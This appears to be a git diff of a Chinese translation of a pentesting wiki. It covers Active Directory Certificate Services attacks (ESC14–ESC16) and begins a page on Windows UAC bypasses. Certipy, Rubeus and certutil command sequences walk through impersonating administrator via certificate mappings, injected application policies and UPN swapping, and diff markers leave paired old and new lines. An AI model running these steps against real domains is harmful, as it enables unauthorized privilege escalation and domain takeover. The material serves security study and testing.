`altSecurityIdentities` 属性支持多种映射格式,例如:
- `X509:<I>IssuerDN<S>SubjectDN`(按完整 Issuer 和 Subject DN 映射)
- `X509:<SKI>SubjectKeyIdentifier`(按证书的 Subject Key Identifier 扩展值映射)
- `X509:<SR>SerialNumberBackedByIssuerDN`(按序列号映射,隐含由 Issuer DN 限定) - 这不是标准格式,通常是 `<I>IssuerDN<SR>SerialNumber`
- `X509:<RFC822>EmailAddress`(按 SAN 中的 RFC822 名称,通常是电子邮件地址 映射
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey`(按证书原始公钥的 SHA1 哈希映射 - 通常较强
- `X509:<SR>SerialNumberBackedByIssuerDN`(按序列号映射,隐含由 Issuer DN 限定)- 这不是标准格式,通常是 `<I>IssuerDN<SR>SerialNumber`
- `X509:<RFC822>EmailAddress`(按 SAN 中的 RFC822 名称映射,通常是电子邮件地址)
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey`(按证书原始公钥的 SHA1 哈希映射 - 通常是强的
这些映射的安全性在很大程度上取决于映射字符串中所选证书标识符的具体性、唯一性和密码强度。即使在域控制器上启用了强证书绑定模式(主要影响基于 SAN UPN/DNS 和 SID 扩展的隐式映射),配置不当的 `altSecurityIdentities` 条目仍可能在映射逻辑本身存在缺陷或过于宽松时为冒充提供直接路径
这些映射的安全性在很大程度上取决于映射字符串中所选证书标识符的具体性、唯一性和密码强度。即使在域控制器上启用了强证书绑定模式(主要影响基于 SAN UPN/DNS 和 SID 扩展的隐式映射),如果 `altSecurityIdentities` 条目配置不当,或者映射逻辑本身存在缺陷或过于宽松,仍可能直接导致冒充风险
### 滥用场景
ESC14 针对 Active Directory (AD) 中的显式证书映射,特别是 `altSecurityIdentities` 属性。如果设置了此属性(出于设计或错误配置),攻击者可以通过出示与映射匹配的证书来冒充帐户。
ESC14 针对 Active Directory (AD) 中的显式证书映射,具体为 `altSecurityIdentities` 属性。如果该属性被设置(出于设计或配置错误),攻击者可以通过出示与映射匹配的证书来冒充帐户。
#### 场景 A攻击者可以写入 `altSecurityIdentities`
#### Scenario A: 攻击者可以写入 `altSecurityIdentities`
**前提条件**:攻击者对目标帐户的 `altSecurityIdentities` 属性具有写入权限,或具有以以下某种权限形式授予该写入能力的权限,对目标 AD 对象具有以下之一
前提条件:攻击者对目标帐户的 `altSecurityIdentities` 属性具有写权限,或对目标 AD 对象具有以下任一权限,从而能够授予该写入
- Write property `altSecurityIdentities`
- Write property `Public-Information`
- Write property (all)
@ -726,20 +724,21 @@ ESC14 针对 Active Directory (AD) 中的显式证书映射,特别是 `altSecu
- `GenericAll`
- Owner*.
#### 场景 B目标通过 X509RFC822Email存在弱映射
#### Scenario B: 目标通过 X509RFC822电子邮件具有弱映射
- **前提条件**:目标在 `altSecurityIdentities` 中有一个弱的 X509RFC822 映射。攻击者可以将受害者的 mail 属性设置为与目标的 X509RFC822 名称匹配,代表受害者登记一个证书,并使用该证书作为目标进行身份验证。
- 前提条件:目标在 altSecurityIdentities 中存在弱的 X509RFC822 映射。攻击者可以将受害者的 mail 属性设置为匹配目标的 X509RFC822 名称,作为受害者申请证书,然后使用该证书以目标身份进行身份验证。
#### 场景 C目标有 X509IssuerSubject 映射
#### Scenario C: 目标具有 X509IssuerSubject 映射
- **前提条件**:目标在 `altSecurityIdentities` 中有一个弱的 X509IssuerSubject 显式映射。攻击者可以将受害主体的 `cn``dNSHostName` 属性设置为与目标的 X509IssuerSubject 映射中的 subject 匹配。然后,攻击者可以代表受害者登记证书,并使用该证书作为目标进行身份验证。
- 前提条件:目标在 `altSecurityIdentities`有弱的 X509IssuerSubject 显式映射。攻击者可以将受害主体的 `cn``dNSHostName` 属性设置为匹配目标的 X509IssuerSubject 映射中的 Subject然后以受害者身份申请证书并使用该证书以目标身份进行身份验证。
#### 场景 D目标有 X509SubjectOnly 映射
#### Scenario D: 目标具有 X509SubjectOnly 映射
- **前提条件**:目标在 `altSecurityIdentities` 中有一个弱的 X509SubjectOnly 显式映射。攻击者可以将受害主体的 `cn``dNSHostName` 属性设置为与目标的 X509SubjectOnly 映射中的 subject 匹配。然后,攻击者可以代表受害者登记证书,并使用该证书作为目标进行身份验证。
- 前提条件:目标在 `altSecurityIdentities`有弱的 X509SubjectOnly 显式映射。攻击者可以将受害主体的 `cn``dNSHostName` 属性设置为匹配目标的 X509SubjectOnly 映射中的 Subject然后以受害者身份申请证书并使用该证书以目标身份进行身份验证。
### 具体操作
#### 场景 A
#### Scenario A
请求证书,使用证书模板 `Machine`
```bash
@ -749,7 +748,7 @@ ESC14 针对 Active Directory (AD) 中的显式证书映射,特别是 `altSecu
```bash
certutil -MergePFX .\esc13.pem .\esc13.pfx
```
认证 (使用证书)
使用证书进行身份验证
```bash
.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
```
@ -757,27 +756,28 @@ certutil -MergePFX .\esc13.pem .\esc13.pfx
```bash
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
```
有关不同攻击场景中更具体的攻击方法,请参阅以下内容: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
有关各种攻击场景下的更具体攻击方法,请参阅以下内容: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
## EKUwu Application Policies(CVE-2024-49019) - ESC15
### 说明
### 解释
在 https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc 的描述非常详尽。下面引用原文内容。
在 https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc 上的描述非常详尽。下面引用原文:
Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
使用内置的默认 version 1 证书模板,攻击者可以构造一个 CSR 来包含优先于模板中指定的 Extended Key Usage 属性的 application policies。唯一的要求是 enrollment 权限,并且可以使用 **_WebServer_** 模板生成 client authentication、certificate request agent 和 codesigning 证书
###
###
以下参考了 [此链接]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),点击查看更详细的使用方法。
下述内容参考了 [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
Certipy 的 `find` 命令可以帮助识别在 CA 未打补丁时可能易受 ESC15 影响的 V1 模板。
Certipy's `find` command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched.
```bash
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
```
#### 场景 A通过 Schannel 的直接模拟
#### 场景 A通过 Schannel 直接冒充
**步骤 1:请求证书,注入 "Client Authentication" Application Policy 和目标 UPN。** 攻击者 `attacker@corp.local` 使用 "WebServer" V1 模板(允许申请者提供 subject针对 `administrator@corp.local`
**第 1 步:请求证书,注入 "Client Authentication" Application Policy 和目标 UPN。** 攻击者 `attacker@corp.local` 使用 "WebServer" V1 模板针对 `administrator@corp.local`(该模板允许申请者提供的 subject
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
@ -786,17 +786,17 @@ certipy req \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'
```
- `-template 'WebServer'`: 易受攻击的 V1 模板,具有 “Enrollee supplies subject”
- `-template 'WebServer'`: 易受攻击的 V1 模板,带有 "Enrollee supplies subject"
- `-application-policies 'Client Authentication'`: 将 OID `1.3.6.1.5.5.7.3.2` 注入到 CSR 的 Application Policies 扩展中。
- `-upn 'administrator@corp.local'`: 在 SAN 中设置 UPN 以进行冒充。
**步骤 2使用获的证书通过 Schannel (LDAPS) 进行身份验证。**
**步骤 2使用获的证书通过 Schannel (LDAPS) 进行身份验证。**
```bash
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
```
#### 场景 B通过 Enrollment Agent 滥用实现 PKINIT/Kerberos 冒充
#### 情景 B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
**步骤 1从 V1 模板(带有 "Enrollee supplies subject")请求证书,同时注入 "Certificate Request Agent" Application Policy。** 该证书用于使攻击者(`attacker@corp.local`)成为 Enrollment Agent。这里未为攻击者自身指定 UPN因为目标是获得 Enrollment Agent 的能力。
**步骤 1从 V1 模板(带有 "Enrollee supplies subject")请求证书,注入 "Certificate Request Agent" Application Policy。** 此证书是给攻击者 (`attacker@corp.local`) 成为 enrollment agent。这里没有为攻击者自身指定 UPN因为目标是获取 agent 能力。
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
@ -806,7 +806,7 @@ certipy req \
```
- `-application-policies 'Certificate Request Agent'`: 注入 OID `1.3.6.1.4.1.311.20.2.1`
**步骤 2使用 "agent" 证书代表目标特权用户请求证书。** 这是一个类似 ESC3 的步骤,使用步骤 1 得到的证书作为 agent 证书。
**步骤 2使用“代理”证书代表目标特权用户请求证书。** 这是一个类似 ESC3 的步骤,使用步骤 1 的证书作为代理证书。
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
@ -814,7 +814,7 @@ certipy req \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
```
**第3步:使用 "on-behalf-of" 证书以特权用户身份进行身份验证。**
**步骤 3:使用 "on-behalf-of" 证书以特权用户身份进行身份验证。**
```bash
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
```
@ -822,23 +822,23 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
### 解释
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** 指的是当 AD CS 的配置未强制在所有证书中包含 **szOID_NTDS_CA_SECURITY_EXT** 扩展时,攻击者可以利用这一点
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** 指的是这样一种情况:如果 AD CS 的配置未强制在所有证书中包含 **szOID_NTDS_CA_SECURITY_EXT** 扩展,攻击者就可以通过以下方式利用该问题
1. 请求一个 **没有 SID 绑定** 的证书。
1. 请求一个 **没有 SID binding** 的证书。
2. 使用该证书 **作为任何账户进行身份验证**,例如冒充高权限账户(,域管理员 Domain Administrator
2. 使用该证书 **任何账户进行身份验证**,例如冒充高权限账户(如 Domain Administrator
你也可以参这篇文章以了解更详细的原理https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
你也可以参这篇文章以了解更详细的原理https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
### 滥用
以下参考自 [此链接](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally),点击以查看更详细的使用方法。
The following is referenced to [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally),Click to see more detailed usage methods.
要识别 Active Directory Certificate Services (AD CS) 环境是否易受 **ESC16** 影响
要识别 Active Directory Certificate Services (AD CS) 环境是否易受 **ESC16** 影响
```bash
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
```
**步骤 1读取受害者账户的初始 UPN可选 - 用于恢复)。**
**步骤 1读取受害者帐户的初始 UPN可选 - 用于恢复)。
```bash
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
@ -852,14 +852,14 @@ certipy account \
-dc-ip '10.0.0.100' -upn 'administrator' \
-user 'victim' update
```
**步骤 3如有需要获取 "受害者" 账户的 credentials(例如,通过 Shadow Credentials。**
**第 3 步:(如有需要)获取“受害者”账户的凭据(例如,通过 Shadow Credentials。**
```shell
certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -account 'victim' \
auto
```
**Step 4: 作为 "victim" 用户从 _任何合适的客户端身份验证模板_(例如 "User")在易受 ESC16 影响的 CA 上请求证书。** 由于该 CA 易受 ESC16 影响,它会自动从签发的证书中省略 SID 安全扩展,无论模板对该扩展的具体设置如何。设置 Kerberos 凭证缓存环境变量shell 命令):
**Step 4: 以 "victim" 用户的身份从 _any suitable client authentication template_(例如 "User")向 ESC16-vulnerable CA 请求证书。** 因为该 CA 易受 ESC16 漏洞影响,它会自动在颁发的证书中省略 SID security extension无论该模板对此扩展的具体设置如何。设置 Kerberos credential cache 环境变量shell 命令):
```bash
export KRB5CCNAME=victim.ccache
```
@ -870,34 +870,33 @@ certipy req \
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
-template 'User'
```
**步骤 5将 "victim" 帐户的 UPN 还原。**
**第 5 步:还原 "victim" 帐户的 UPN。**
```bash
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
-user 'victim' update
```
**第6步:以目标管理员身份进行身份验证。**
**步骤 6:以目标管理员身份进行身份验证。**
```bash
certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'
```
## 用被动语态解释通过证书攻破域林
## 使用证书破坏林(被动语态说明)
### 被妥协的 CA 导致的域林信任破坏
### 由被入侵的 CAs 导致的林信任破坏
用于跨域林注册(**cross-forest enrollment**)的配置被设定得相对简单。资源域林的 **root CA certificate** 会被管理员发布到各个 account forests资源域林的 **enterprise CA** 证书会被添加到每个 account forest 的 `NTAuthCertificates` 和 AIA 容器中。为澄清,这种安排会将资源域林中的 **CA 完全控制权** 授予它所管理 PKI 的所有其他域林。如果该 CA 被攻击者**妥协**,资源域林和 account forests 中所有用户的证书都可能被他们**伪造**,从而破坏域林的安全边界。
**cross-forest enrollment** 的配置相对简单。来自 resource forest 的 **root CA certificate** 会被管理员**发布到 account forests**,并且来自 resource forest 的 **enterprise CA** 证书会被**添加到每个 account forest 的 `NTAuthCertificates` 和 AIA 容器中**。需要说明的是,这种安排赋予了 resource forest 中的 **CA 完全控制权**,对其管理 PKI 的所有其他林都适用。如果该 CA 被攻击者**compromised by attackers**,攻击者就可以**forge**资源林和帐户林中所有用户的证书,从而破坏林的安全边界。
### 授予外域主体的注册权限
### 授予外部主体的 Enrollment 权限
在多域林环境中,应当对那些发布允许 **Authenticated Users 或 foreign principals**(即属于 Enterprise CA 所在域林以外的用户/组)**注册和编辑权限** 的 Enterprise CAs 保持谨慎。\
在跨信任进行身份验证时AD 会将 **Authenticated Users SID** 添加到用户的令牌中。因此,如果某域拥有一个 Enterprise CA 且其模板**允许 Authenticated Users 注册权限**,则该模板可能会被来自不同域林的用户**注册**。同样,如果模板显式地将注册权限授予某个外域主体,则会由此创建一个**跨域林的访问控制关系**,使得一个域林中的主体可以**注册另一个域林的模板**
在多林环境中,需要对那些 Enterprise CAs **publish certificate templates** 的情况保持警惕,这些模板允许 **Authenticated Users or foreign principals**(属于 Enterprise CA 所在林之外的用户/组)具有**enrollment and edit rights**。\
在跨信任进行身份验证时AD 会将 **Authenticated Users SID** 添加到用户的 token 中。因此,如果某个域拥有一个 Enterprise CA其模板**allows Authenticated Users enrollment rights**,则该模板可能会被来自不同 forest 的用户**enroll**。同样,如果模板将**enrollment rights 明确授予一个 foreign principal**,则会由此创建一个**cross-forest access-control relationship**,允许一个 forest 中的主体去**enroll**另一个 forest 的模板
这两种情形都会导致从一个域林到另一个域林的**攻击面增加**。攻击者可能利用证书模板的设置在外域中获取额外的权限。
这两种情况都会导致从一个 forest 到另一个 forest 的**attack surface 增加**。证书模板的设置可能被攻击者利用,从而在外部域获得额外权限。
## References
## 参考资料
- [Certify 2.0 SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
- [GhostPack/Certify](https://github.com/GhostPack/Certify)

View File

@ -4,77 +4,78 @@
## UAC
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 是一项用于在需要提升权限的操作时显示同意提示的功能。应用程序具有不同的 `integrity` 级别,具有**高完整性级别**的程序可以执行**可能危及系统安全**的任务。当启用 UAC 时,应用程序和任务通常在**非管理员帐户的安全上下文**下运行,除非管理员显式授权这些应用/任务以管理员级别访问系统运行。它是保护管理员免受无意更改的便捷功能,但不被视为安全边界。
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 是一个功能,用于对提升操作显示 **同意提示consent prompt for elevated activities**。应用程序有不同的 `integrity` 等级,处于 **high level** 的程序可以执行可能 **危及系统** 的任务。当 UAC 启用时,应用程序和任务通常会 **在非管理员帐户的安全上下文下运行**,除非管理员显式授权这些应用/任务以管理员级别访问系统来运行。它是一个保护管理员免于无意更改的便捷功能,但不被视为安全边界。
有关 integrity levels 的更多信息:
有关完整性级别的更多信息:
{{#ref}}
../windows-local-privilege-escalation/integrity-levels.md
{{#endref}}
启用 UAC 时,管理员用户会获得两个令牌:一个用于以常规权限执行常规操作的标准用户令牌,以及一个包含管理员权限的令牌
UAC 启用时,管理员用户会获得 2 个 token一个是标准用户 token用于以常规级别执行常规操作另一个具有管理员权限
此 [页面](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 详细讨论了 UAC 的工作原理,包括登录过程、用户体验和 UAC 架构。管理员可以使用安全策略在本地级别(使用 secpol.msc配置 UAC 的行为,或者在 Active Directory 域环境中通过 Group Policy Objects (GPO) 配置和下发。各种设置的详细说明见 [这里](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)。共有 10 个可以为 UAC 设置的组策略项,下面的表格提供了附加细节:
This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 详细讨论了 UAC 的工作原理,包括登录过程、用户体验和 UAC 架构。管理员可以使用安全策略在本地级别(使用 secpol.msc配置 UAC 的工作方式,或者在 Active Directory 域环境中通过 Group Policy Objects (GPO) 配置并推送。各种设置在 [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) 中有详细讨论。可以为 UAC 设置 10 个组策略项。下表提供了更多细节:
| Group Policy Setting | Registry Key | Default Setting |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled(禁用) |
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled(禁用) |
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries(对非 Windows 二进制文件提示同意) |
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop(在安全桌面上提示凭据) |
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise)(家庭版默认启用,企业版默认禁用) |
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled(禁用) |
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled(启用) |
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled(启用) |
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled(启用) |
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled(启用) |
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled |
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled |
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled |
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled |
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled |
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled |
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled |
### UAC 绕过原理
### UAC Bypass Theory
如果用户属于**administrator group**,某些程序会被**自动提升autoelevated**。这些二进制文件在其 _**Manifests**_ 中包含了值为 _**autoElevate**_ 的选项并设置_**True**_。该二进制文件通常还需要**由 Microsoft 签名**
一些程序在用户属于 **administrator group** 时会被 **自动提升autoelevated automatically**。这些二进制文件在它们的 _**Manifests**_ 中包含 _**autoElevate**_ 选项且其值_**True**_。该二进制文件通常还需要由 Microsoft 签名。
许多 auto-elevate 进程通过 **COM objects 或 RPC servers** 暴露功能,这些功能可以从具有 medium integrity常规用户级别权限的进程中调用。注意 COM (Component Object Model) 和 RPC (Remote Procedure Call) 是 Windows 程序用于在不同进程间通信和执行函数的方法。例如,**`IFileOperation COM object`** 用于处理文件操作(复制、删除、移动),并可以在不提示的情况下自动提升权限。
许多 auto-elevate 进程通过 **COM objects 或 RPC servers** 暴露功能,可以从具有 medium integrity常规用户级别权限的进程中调用。注意 COM (Component Object Model) 和 RPC (Remote Procedure Call) 是 Windows 程序用于跨进程通信和执行功能的方法。例如,**`IFileOperation COM object`** 旨在处理文件操作(复制、删除、移动),并且可以在没有提示的情况下自动提升权限。
注意某些检查可能会被执行,比如检查进程是否从 **System32** 目录运行,这类检查可以通过例如 **向 explorer.exe 注入** 或注入另一个位于 System32 的可执行文件来绕过。
注意有些检查可能会被执行,例如检查进程是否从 **System32 目录** 运行,这可以通过例如 **向 explorer.exe 或另一个位于 System32 的可执行文件注入** 来绕过。
另一种绕过这些检查的方法是修改 PEB。Windows 中的每个进程都有一个 Process Environment Block (PEB),其中包含有关进程的重要数据,例如其可执行文件路径。通过修改 PEB攻击者可以伪造spoof其恶意进程的位置使其看起来像是从受信任的目录例如 system32运行。这种伪造信息会欺骗 COM 对象,在不提示用户的情况下自动提升权限。
另一种绕过这些检查的方法是 **修改 PEB**。Windows 中的每个进程都有一个 Process Environment Block (PEB),其中包含有关进程的重要数据,例如其可执行文件路径。通过修改 PEB攻击者可以伪造spoof其恶意进程的位置使其看起来像是从受信任的目录例如 system32运行。这种伪造的信息会欺骗 COM 对象在没有提示的情况下自动提升权限。
然后,为了**绕过 UAC**(将完整性级别从 **medium** 提升到 **high**),一些攻击者利用这类二进制文件来**执行任意代码**,因为该代码会在**高完整性级别进程**中执行。
接着,为了 **绕过 UAC**(将权限从 **medium** 完全提升到 **high**),某些攻击者使用这类二进制文件来 **执行任意代码**,因为代码将会在 **high level integrity 进程** 中执行。
你可以使用来自 Sysinternals 的工具 _**sigcheck.exe**_ 检查二进制的 _**Manifest**_。(`sigcheck.exe -m <file>`)并且可以使用 _Process Explorer__Process Monitor_(来自 Sysinternals查看进程的 **integrity level**
你可以使用 Sysinternals 的工具 _**sigcheck.exe**_ 检查二进制的 _**Manifest**_。(`sigcheck.exe -m <file>`)并且可以使用 _Process Explorer__Process Monitor_(来自 Sysinternals查看进程的 **integrity level**
### 检查 UAC
### Check UAC
要确认 UAC 是否启用,请执行:
要确认 UAC 是否启用,请执行:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
```
如果**`1`** 则 UAC **已激活**,如果是 **`0`** 或者不存在,则 UAC **未激活**。
如果它是 **`1`**,则 UAC 为 **已启用**;如果为 **`0`** 或不存在,则 UAC 为 **未启用**。
然后,检查 **哪个级别** 被配置
接着,检查配置了 **哪个级别**
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- If **`0`** then, UAC won't prompt (like **disabled**)
- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
- If **`3`** like `1` but not necessary on Secure Desktop
- If **`4`** like `2` but not necessary on Secure Desktop
- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
- 如果 **`0`**,则 UAC 不会提示(类似 **已禁用**
- 如果 **`1`**,管理员会被**要求输入用户名和密码**以在高权限下执行该二进制(在安全桌面上)
- 如果 **`2`****始终通知我**当管理员尝试以高权限执行某些操作时UAC 会始终要求确认(在安全桌面上)
- 如果 **`3`**,类似 `1`,但在安全桌面上不是必须的
- 如果 **`4`**,类似 `2`,但在安全桌面上不是必须的
- 如果 **`5`****默认**),当以高权限运行非 Windows 二进制时,会要求管理员确认
然后,查看 **`LocalAccountTokenFilterPolicy`** 的值\
如果该值**`0`**,那么只有 **RID 500** 用户(**built-in Administrator**)能够在 **没有 UAC** 的情况下执行管理员任务;如果是 `1`,则 **所有位于 "Administrators" 组内的账户** 都可以执行这些操作
然后,你需要查看 **`LocalAccountTokenFilterPolicy`** 的值\
如果该值**`0`**,则只有 **RID 500** 用户(**built-in Administrator**)能够执行**无需 UAC 的管理员任务**;如果为 `1`**Administrators** 组内的所有账户都可以执行这些任务
最后查看键 **`FilterAdministratorToken`** 的值\
